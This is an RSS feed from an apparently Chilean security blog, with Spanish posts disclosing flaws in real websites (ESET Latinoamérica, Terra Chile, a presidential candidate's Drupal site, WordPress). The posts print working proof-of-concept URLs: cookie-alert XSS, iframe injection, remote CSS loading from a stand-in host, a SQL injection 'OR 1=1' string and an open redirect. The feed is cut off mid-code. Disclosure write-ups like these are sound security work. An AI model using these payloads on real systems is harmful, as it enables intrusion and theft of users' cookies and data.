<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; full path disclosure</title>
	<atom:link href="http://blog.zerial.org/tag/full-path-disclosure/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Wed, 08 Feb 2012 20:48:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Vulnerabilidades reportadas y corregidas en sitio web ESET Latinoamerica</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidades-reportadas-y-corregidas-en-sitio-web-eset-latinoamerica/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidades-reportadas-y-corregidas-en-sitio-web-eset-latinoamerica/#comments</comments>
		<pubDate>Thu, 07 Apr 2011 17:18:15 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[antivirus]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[eset]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2131</guid>
		<description><![CDATA[El fin de semana recien pasado, nos juntamos en el laboratorio en una &#8220;hacking night&#8221; analizando vulnerabilidades web de varios sitios, entre ellos estuvo el de ESET Latinoamerica. La vulnerabilidades encontradas fueron del tipo &#8220;descubrimiento de informacion&#8221; que nos permitieron descubrir el path, el usuario de sistema, usuario de base de datos, nombre de la [...]]]></description>
			<content:encoded><![CDATA[<p>El fin de semana recien pasado, nos juntamos en el <a href="http://hacklab.cl">laboratorio</a> en una &#8220;<em>hacking night</em>&#8221; analizando vulnerabilidades web de varios sitios, entre ellos estuvo el de <a href="http://www.eset-la.com">ESET Latinoamerica</a>.</p>
<p><img class="aligncenter size-full wp-image-2132" title="logotyp_eset" src="http://blog.zerial.org/wp-content/uploads/2011/04/logotyp_eset.jpg" alt="" width="437" height="163" /></p>
<p>La vulnerabilidades encontradas fueron del tipo &#8220;descubrimiento de informacion&#8221; que nos permitieron descubrir el path, el usuario de sistema, usuario de base de datos, nombre de la base de datos, nombres de las tablas, etc. Por otro lado, encontramos tambien script y formularios vulnerables a XSS.<br />
Las vulnerabilidades fueron corregidas 1 dia despues de haber sido reportadas.<br />
Las URLs afectadas son:</p>
<p>- http://www.eset-la.com/centro-amenazas/article.php<br />
- http://www.eset-la.com/company/article.php<br />
- http://www.eset-la.com/rss/podcasts<br />
- http://www.eset-la.com/centro-amenazas/descarga/compania/cool_stuff.php<br />
- http://www.eset-la.com/xtrasappz/ajax/events.ajax.php<br />
- https://ps.eset-la.com/forms/prospectos.php<br />
- https://ps.eset-la.com/forms/numeros_serie_registracion.php</p>
<p>Estas dos ultimas con <strong>https</strong>.</p>
<p><span id="more-2131"></span></p>
<p>Los errores o warnings no estan deshabilitados en el servidor que publico. Se pueden apreciar errores que permiten descubrir el full-path de la aplicacion:</p>
<p><a href="http://www.eset-la.com/centro-amenazas/article.php?contentID[]=aa">http://www.eset-la.com/centro-amenazas/article.php?contentID[]=aa</a><br />
o<br />
<a href="http://www.eset-la.com/company/article.php?contentID[\]=1379">http://www.eset-la.com/company/article.php?contentID[\]=1379</a></p>
<p><img class="aligncenter size-full wp-image-2137" title="fpd_eset" src="http://blog.zerial.org/wp-content/uploads/2011/04/fpd_eset.png" alt="" width="595" height="51" /></p>
<p>Los scripts que permitian Cross-Site Scripting:</p>
<p>- <a href="https://ps.eset-la.com/forms/prospectos.php?promocode=tt%3C/script%3E%3Cbody%20onload=javascript:alert%28document.cookie%29%3E">https://ps.eset-la.com/forms/prospectos.php?promocode=tt%3C/script%3E%3Cbody%20onload=javascript:alert%28document.cookie%29%3E</a></p>
<p>- <a href="https://ps.eset-la.com/forms/prospectos.php?promocode=6969%22%3E%3Ciframe%20src=http://www.google.com.mx%3E&amp;css=%22%3Eaa">https://ps.eset-la.com/forms/prospectos.php?promocode=6969%22%3E%3Ciframe%20src=http://www.google.com.mx%3E&amp;css=%22%3Eaa</a></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/04/2xss_alert.png"><img class="aligncenter size-full wp-image-2143" title="2xss_alert" src="http://blog.zerial.org/wp-content/uploads/2011/04/2xss_alert.png" alt="" width="645" height="293" /></a></p>
<p>Permitian inyectar codigo mediante la variable &#8220;promocode&#8221; y mediante la variable &#8220;css&#8221; era posible decirle al sitio que su archivo de hoja de estilo lo fuera a buscar a una URL externa, de esta forma se pasaria cualquier tipo de filtro que pudiese tener el sitio, por ejemplo:</p>
<p>- <a href="https://ps.eset-la.com/forms/numeros_serie_registracion.php?lang=es&amp;css=http://remote.host/devel/poc.css?ps.eset-la.com">https://ps.eset-la.com/forms/numeros_serie_registracion.php?lang=es&amp;css=http://remote.host/devel/poc.css?ps.eset-la.com</a></p>
<p>En nuestro &#8220;poc.css&#8221; remoto podriamos tener codigo css que incluya instrucciones javascript.<br />
Todos los que pertenecen al subdominio &#8220;ps&#8221; usan la confianza del usuario en el sitio, ya que tiene un certificado SSL valido, el cual el usuario podria perfectamente confiar en una URL maliciosa.</p>
<p><strong>Timeline:</strong></p>
<p>- Descubiertas: 2 de Abril del 2011<br />
- Reportadas: 6 de Abril del 2011<br />
- Solucionadas: 7 de Abril del 2011</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidades-reportadas-y-corregidas-en-sitio-web-eset-latinoamerica%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidades-reportadas-y-corregidas-en-sitio-web-eset-latinoamerica/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidades-reportadas-y-corregidas-en-sitio-web-eset-latinoamerica/"  data-text="Vulnerabilidades reportadas y corregidas en sitio web ESET Latinoamerica" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidades-reportadas-y-corregidas-en-sitio-web-eset-latinoamerica/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Multiples vulnerabilidades en sitio web de Terra</title>
		<link>http://blog.zerial.org/seguridad/multiples-vulnerabilidades-en-sitio-web-de-terra/</link>
		<comments>http://blog.zerial.org/seguridad/multiples-vulnerabilidades-en-sitio-web-de-terra/#comments</comments>
		<pubDate>Tue, 28 Dec 2010 13:56:04 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql-i]]></category>
		<category><![CDATA[terra]]></category>
		<category><![CDATA[terra chile]]></category>
		<category><![CDATA[terra networks]]></category>
		<category><![CDATA[terra.cl]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2026</guid>
		<description><![CDATA[Vulnerabilidades del tipo XSS, SQL Injection y Full Path Disclosure tiene el sitio web de Terra Networks Chile, estas vulnerabilidades las encontré el Sábado 25 de Diciembre y reportada el 27. Las URL vulnerables corresponden al buscador de terra: buscador.terra.cl; al sitio de &#8220;seguridad&#8221;: seguridad.terra.cl; sitio web mobil:m.terra.cl; sitio web principal:www.terra.cl;y un sub-portal: acaballo.terra.cl Timeline [...]]]></description>
			<content:encoded><![CDATA[<p>Vulnerabilidades del tipo <strong>XSS</strong>, <strong>SQL Injection</strong> y <strong>Full Path Disclosure</strong> tiene el sitio web de <a href="http://www.terra.cl" target="_blank">Terra Networks Chile</a>, estas vulnerabilidades las encontré el Sábado 25 de Diciembre y reportada el 27.</p>
<p>Las URL vulnerables corresponden al buscador de terra: <em>buscador.terra.cl</em>; al sitio de &#8220;seguridad&#8221;:<em> seguridad.terra.cl</em>; sitio web mobil:<em>m.terra.cl</em>; sitio web principal:<em>www.terra.cl</em>;y un sub-portal: <em>acaballo.terra.cl</em></p>
<p><strong>Timeline</strong><br />
* 25/Diciembre/2010: Se encuentran las vulnerabilidades.<br />
* 27/Diciembre/2010: Se reportan.<br />
* 28/Diciembre/2010: No se obtiene respuesta. Se publican.</p>
<p><span id="more-2026"></span></p>
<p>La <strong>primera</strong> vulnerabilidad corresponde a un XSS encontrado en el buscador:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/12/xss_buscador.png"><img class="aligncenter size-full wp-image-2035" title="xss_buscador" src="http://blog.zerial.org/wp-content/uploads/2010/12/xss_buscador.png" alt="" width="679" height="201" /></a></p>
<p>La pagina &#8220;Default.aspx&#8221; no está validando ni filtrando los datos pasados por la variable &#8220;query&#8221;.</p>
<p>La <strong>segunda</strong> vulnerabilidad tambien corresponde a XSS, pero afecta al sitio <em>seguridad.terra.cl</em>:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/12/xss_seguridad_url.png"><img class="aligncenter size-full wp-image-2037" title="xss_seguridad_url" src="http://blog.zerial.org/wp-content/uploads/2010/12/xss_seguridad_url.png" alt="" width="513" height="33" /></a>Tambien corresponde a un script asp que no valida ni filtra el valor de la variable &#8220;Pagina&#8221;, pudiendo inyectar código html o javascript</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/12/xss_seguridad.png"><img class="aligncenter size-full wp-image-2038" title="xss_seguridad" src="http://blog.zerial.org/wp-content/uploads/2010/12/xss_seguridad.png" alt="" width="603" height="109" /></a></p>
<p>La <strong>tercera</strong> vulnerabilidad es una del tipo &#8220;<em>Full Path Disclosure</em>&#8220;; nos permite ver la ruta absoluta donde está la aplicación. Esta vulnerabilidad es bastante particular, ya que no he podido reproducirla en ningun otro script del mismo sitio. La URL h<em>ttp://www.terra.cl/deportes/index.cfm?accion=futbolnacional&amp;id_reg=1518438</em> muestra una noticia o información correspondiente al id 1518438, sin embargo, si le agregamos dos puntos (..) al final de la URL, podemos ver un error que nos muestra la información:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/12/fpd_url.png"><img class="aligncenter size-full wp-image-2039" title="fpd_url" src="http://blog.zerial.org/wp-content/uploads/2010/12/fpd_url.png" alt="" width="517" height="32" /></a><br />
Se pueden ver los dos puntos al final de la URL, lo que nos muestra el siguiente mensaje:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/12/fpd.png"><img class="aligncenter size-full wp-image-2041" title="fpd" src="http://blog.zerial.org/wp-content/uploads/2010/12/fpd.png" alt="" width="593" height="171" /></a></p>
<p>La <strong>cuarta</strong> vulnerabilidad es una <em>SQL-Injection</em>, afecta sl subdominio acaballo.terra.cl, especificamente a la URL <em>http://acaballo.terra.cl/pedigree/sistemas/arbol/ver_inscripcion.php?id_carrera=88460</em>. Podemos hacer que se queje si agregamos la tipica comilla (&#8216;) al final de la URL</p>
<blockquote><p><strong>Warning</strong>:  mysql_fetch_array(): supplied argument is not a valid MySQL result resource in <strong>/var/www/html/virtual/elturf.com/www/pedigree/training/modulos1/ver_inscripcion.php</strong> on line <strong>274</strong></p>
<p><strong>Warning</strong>:  mysql_num_rows(): supplied argument is not a valid MySQL result resource in <strong>/var/www/html/virtual/elturf.com/www/pedigree/training/modulos1/ver_inscripcion.php</strong> on line <strong>275</strong></p></blockquote>
<blockquote><p><strong><br />
</strong></p></blockquote>
<p>O bien manejar la query para que nos devuelva verdadero y no muestre error, por ejemplo:</p>
<p><em>http://acaballo.terra.cl/pedigree/sistemas/arbol/ver_inscripcion.php?id_carrera=88460%20OR%201=1;%20&#8211;</em></p>
<p>Ademas de poder inyectar SQL, nos revela información del path absoluto.</p>
<p>La <strong>quinta</strong> y última vulnerabilidad nos permite redireccionar al usuario a cualquier sitio fuera de terra.cl, la url vulnerable es <strong>http://m.terra.cl/pms/mod_portal_rendering/templates/ATOMO/COMUM/COPAMUNDO/PHP/votaAnimo.php?voto=3&#038;pais=CL&#038;urlRetorno=</strong></p>
<p>Si a la variable urlRetorno se le pasa un valor de una URL cifrado en base64, el usuario será redireccionado a ese sitio. Por ejemplo, si ciframos http://www.google.cl en base64, quedaría <strong>aHR0cDovL3d3dy5nb29nbGUuY2w=</strong>, si ingresamos a la URL completa:</p>
<p><a href="http://m.terra.cl/pms/mod_portal_rendering/templates/ATOMO/COMUM/COPAMUNDO/PHP/votaAnimo.php?voto=3&#038;pais=CL&#038;urlRetorno=aHR0cDovL3d3dy5nb29nbGUuY2w=">http://m.terra.cl/pms/mod_portal_rendering/templates/ATOMO/COMUM/COPAMUNDO/PHP/votaAnimo.php?voto=3&#038;pais=CL&#038;urlRetorno=aHR0cDovL3d3dy5nb29nbGUuY2w=</a></p>
<p>Podemos ver como el navegado se va automaticamente al sitio de Google. De esta forma,es posible hacer que un usuario ingrese a un sitio malicioso, usando la confianza del dominio de terra.cl.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fmultiples-vulnerabilidades-en-sitio-web-de-terra%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/multiples-vulnerabilidades-en-sitio-web-de-terra/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/multiples-vulnerabilidades-en-sitio-web-de-terra/"  data-text="Multiples vulnerabilidades en sitio web de Terra" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/multiples-vulnerabilidades-en-sitio-web-de-terra/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Sitios web de candidatos presidenciales al descubierto: FREI</title>
		<link>http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-frei/</link>
		<comments>http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-frei/#comments</comments>
		<pubDate>Sat, 19 Dec 2009 19:25:33 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[cmf]]></category>
		<category><![CDATA[cms]]></category>
		<category><![CDATA[drupal]]></category>
		<category><![CDATA[eduardo frei]]></category>
		<category><![CDATA[efrei]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[frei]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[vulnerabilidades]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1208</guid>
		<description><![CDATA[El sitio de Eduardo Frei está hecho en Drupal, un CMS (o CMF) libre que podemos descargar y examinarlo, para saber cómo trabaja, directorio de módulos o plugins, themes, etc. Pero basta con leer el código fuente del sitio para saber la ubicación de éstos. Vamos a probar con las típicas rutas de Drupal para [...]]]></description>
			<content:encoded><![CDATA[<p>El sitio de <a href="http://www.efrei.cl" target="_blank">Eduardo Frei</a> está hecho en <a href="http://drupal.org" target="_blank">Drupal</a>, un CMS (o CMF) libre que podemos descargar y examinarlo, para saber cómo trabaja, directorio de módulos o plugins, themes, etc. Pero basta con leer el código fuente del sitio para saber la ubicación de éstos.</p>
<p><img class="aligncenter size-full wp-image-1210" title="freino" src="http://blog.zerial.org/wp-content/uploads/2009/12/freino.png" alt="freino" width="356" height="44" /></p>
<p>Vamos a probar con las típicas rutas de Drupal para iniciar sesión, administrar el sistema, directorios de archivos subidos, themes, etc. A ver si encontramos algo interesante que nos pueda entregar información.</p>
<p>Si vemos el código fuente podemos deducir los siguientes <em>paths</em>:</p>
<blockquote><p><strong>modules/</strong> Los módulos core de Drupal<br />
<strong>sites/all</strong><br />
<strong>sites/all/modules</strong> Los módulos instalados <em>manualmente</em><br />
<strong>sites/default</strong> Directorio donde están los archivos subidos, configuraciones, etc</p></blockquote>
<p><span id="more-1208"></span></p>
<p>El primero &#8220;error&#8221; que encontramos, es el poder iniciar sesión sin validación de un captcha, de esta forma podemos hacer facilmente fuerza bruta al formulario de inicio de sesión de Drupal.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2009/12/frei-login.png"><img class="aligncenter size-full wp-image-1229" title="frei-login" src="http://blog.zerial.org/wp-content/uploads/2009/12/frei-login.png" alt="" width="287" height="327" /></a>Para llegar a esta pantalla, debemos tipear en la barra de direcciones <strong>user/login</strong>.</p>
<blockquote><p>http://www.efrei.cl/user/login</p></blockquote>
<p>Si bien esto no es ningun fallo, bug o vulnerabilidad, hay que tener en claro que siento un sitio de un candidato presidencial y pensando en la cantidad de gente que piensa en <em>hackear</em> un sitio asi, no podemos dejar el inicio de sesión tan a simple vista y sin captcha.</p>
<p>Drupal es un CMS (o CMF) basado en módulos, para cualquier cosa que quieras hacer, debes hacer un módulo. Existe un módulo llamado &#8220;<em>quicktabs</em>&#8221; que tiene una vulnerabilidad de <strong>descubrimiento del directorio</strong> (Full Path Disclosure), al no validar el tipo de variable. Gracias a este módulo, hemos descubierto la ruta de instalación física de Drupal:</p>
<p style="text-align: left;"><a href="http://blog.zerial.org/wp-content/uploads/2009/12/frei-fpd.png"><img class="aligncenter size-medium wp-image-1232" title="frei-fpd" src="http://blog.zerial.org/wp-content/uploads/2009/12/frei-fpd.png" alt="Full Path Disclosure" /></a>El directorio de instalación de Drupal es, claramente, <strong>/www/efrei.cl/html/</strong>. Tambien podemos ver esta misma vulnerabilidad en el módulo de calendario al ingresar a la URL:</p>
<p style="text-align: left;"><a href="http://www.efrei.cl/calendar?field_region_value_many_to_one[]=All" target="_blank"><strong>http://www.efrei.cl/calendar?field_region_value_many_to_one[]=All</strong></a></p>
<p style="text-align: left;"><a href="http://blog.zerial.org/wp-content/uploads/2009/12/frei-fpd2.png"><img class="aligncenter size-full wp-image-1238" title="frei-fpd2" src="http://blog.zerial.org/wp-content/uploads/2009/12/frei-fpd2.png" alt="" width="687" height="100" /></a></p>
<p style="text-align: left;">Seguramente hay más módulos instalados que nos puedan proveer de ésta información, pero sólo son éstas dos vulnerabilidades o fallos los que he podido encontrar, el sitio tiene la seguridad que Drupal provee, los directorios no permiten listar su contenido, tiene zonas de acceso restringido, etc.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fsitios-web-de-candidatos-presidenciales-al-descubierto-frei%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-frei/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-frei/"  data-text="Sitios web de candidatos presidenciales al descubierto: FREI" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/sitios-web-de-candidatos-presidenciales-al-descubierto-frei/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>FPD en WordPress no es considerado un error</title>
		<link>http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/</link>
		<comments>http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 15:42:15 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1100</guid>
		<description><![CDATA[Como recordarán, hace unos días publiqué dos artículos sobre una vulnerabilidad Full Path Disclosure en WordPress, que afectaba a los plugins y a los archivos propios del CMS. Luego de unas semanas de haberlo reportado recibí una respuesta: We consider path disclosures a server configuration error. WordPress files don&#8217;t protect against disclosing paths when directly [...]]]></description>
			<content:encoded><![CDATA[<p>Como recordarán, hace unos días publiqué dos artículos sobre una vulnerabilidad Full Path Disclosure en WordPress, que <a href="http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/" target="_blank">afectaba a los plugins</a> y a <a href="http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/" target="_blank">los archivos propios del CMS</a>. Luego de unas semanas de haberlo reportado recibí una respuesta:</p>
<blockquote><p>We consider path disclosures a server configuration error.  WordPress<br />
files don&#8217;t protect against disclosing paths when directly loaded.</p></blockquote>
<p>En otras palabras, no es considerado un error o una vulnerabilidad ya que corresponde a un problema de configuración del servidor.<br />
Pueden leer <a href="http://seclists.org/fulldisclosure/2009/Sep/387" target="_blank">un hilo donde se discute</a> sobre el tema.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/"  data-text="FPD en WordPress no es considerado un error" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Más Full Path Disclosure en WordPress y sin solución</title>
		<link>http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/</link>
		<comments>http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 18:53:39 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1016</guid>
		<description><![CDATA[Hace unos días publiqué un artículo sobre varios plugins que nos permitian ver el directorio completo de la instalación de wordpress (full path disclosure). Luego de esta publicación de una discusión en un hilo de la lista en full disclosure, me llegó un correo donde me comentaban que no sólo eran esos ficheros los que [...]]]></description>
			<content:encoded><![CDATA[<p>Hace unos días publiqué <a href="http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/">un artículo</a> sobre varios plugins que nos permitian ver el directorio completo de la instalación de wordpress (full path disclosure). Luego de esta publicación de una discusión en <a href="http://seclists.org/fulldisclosure/2009/Sep/387" target="_blank">un hilo</a> de la lista en full disclosure, me llegó un correo donde me comentaban que no sólo eran esos ficheros los que tenian esta vulnerabilidad, sino muchos más dentro de todo el sistema de wordpress.<img class="alignright size-medium wp-image-949" style="margin: 2px;" title="pwnpress" src="http://blog.zerial.org/wp-content/uploads/2009/09/pwnpress-300x214.jpg" alt="pwnpress" width="300" height="214" /><br />
En la lista full disclosure y por otros medios, la gente me decia que eso se desactivaba facilmente deshabilitando la opcion &#8220;display errors&#8221; de php (ya sea en el php.ini, htaccess o en el mismo fichero php) pero mi opinión fue siempre la misma: Esta forma de &#8216;solucionarlo&#8217; ocultaría el error pero en ningún caso lo solucionaría, es decir, el problema continuaría estando, pero oculto. Otras personas dieron otro tipo de solución como la de editar los ficheros e incluir una validación de la existencia de algunas constantes o variables que WordPress setea y, de esta forma, saber si el fichero se está ejecutando directamente o mediante wordpress.</p>
<p>Este problema lo reporté a security en wordpress.com el mismo día que hice la publicación pero no obtuve respuesta.</p>
<p>Ahora les mostraré los otros ficheros por los cuales es posible descubrir la ruta completa del sistema y las posibles soluciones que me han palnteado.</p>
<p><span id="more-1016"></span></p>
<p>Dentro del directorio wp-admin/import tenemos varios ficheros php:</p>
<blockquote><p>blogger.php<br />
blogware.php<br />
btt.php<br />
dotclear.php<br />
greymatter.php<br />
jkw.php<br />
livejournal.php<br />
mt.php<br />
opml.php<br />
rss.php<br />
stp.php<br />
textpattern.php<br />
utw.php<br />
wordpress.php<br />
wp-cat2tag.php</p></blockquote>
<p><strong>Todos</strong> vulnerables.<br />
Dentro de wp-admin/includes tenemos los siguientes ficheros vulnerables:</p>
<blockquote><p>admin.php<br />
class-ftp-pure.php<br />
class-ftp-sockets.php<br />
class-wp-filesystem-direct.php<br />
class-wp-filesystem-ftpext.php<br />
class-wp-filesystem-ftpsockets.php<br />
class-wp-filesystem-ssh2.php<br />
comment.php<br />
continents-cities.php<br />
file.php<br />
media.php<br />
misc.php<br />
plugin-install.php<br />
plugin.php<br />
schema.php<br />
template.php<br />
theme-install.php<br />
update.php<br />
upgrade.php<br />
user.php</p></blockquote>
<p>La solución que plantea esta persona es la siguiente:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/defined"><span class="kw3">defined</span></a><span class="br0">&#40;</span><span class="st0">&#8216;WP_ADMIN&#8217;</span><span class="br0">&#41;</span> or <a href="http://www.php.net/defined"><span class="kw3">defined</span></a><span class="br0">&#40;</span><span class="st0">&#8216;WP_USE_THEMES&#8217;</span><span class="br0">&#41;</span> <span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">;<span class="co1">//coninue</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">else</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2"><a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>o bien</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
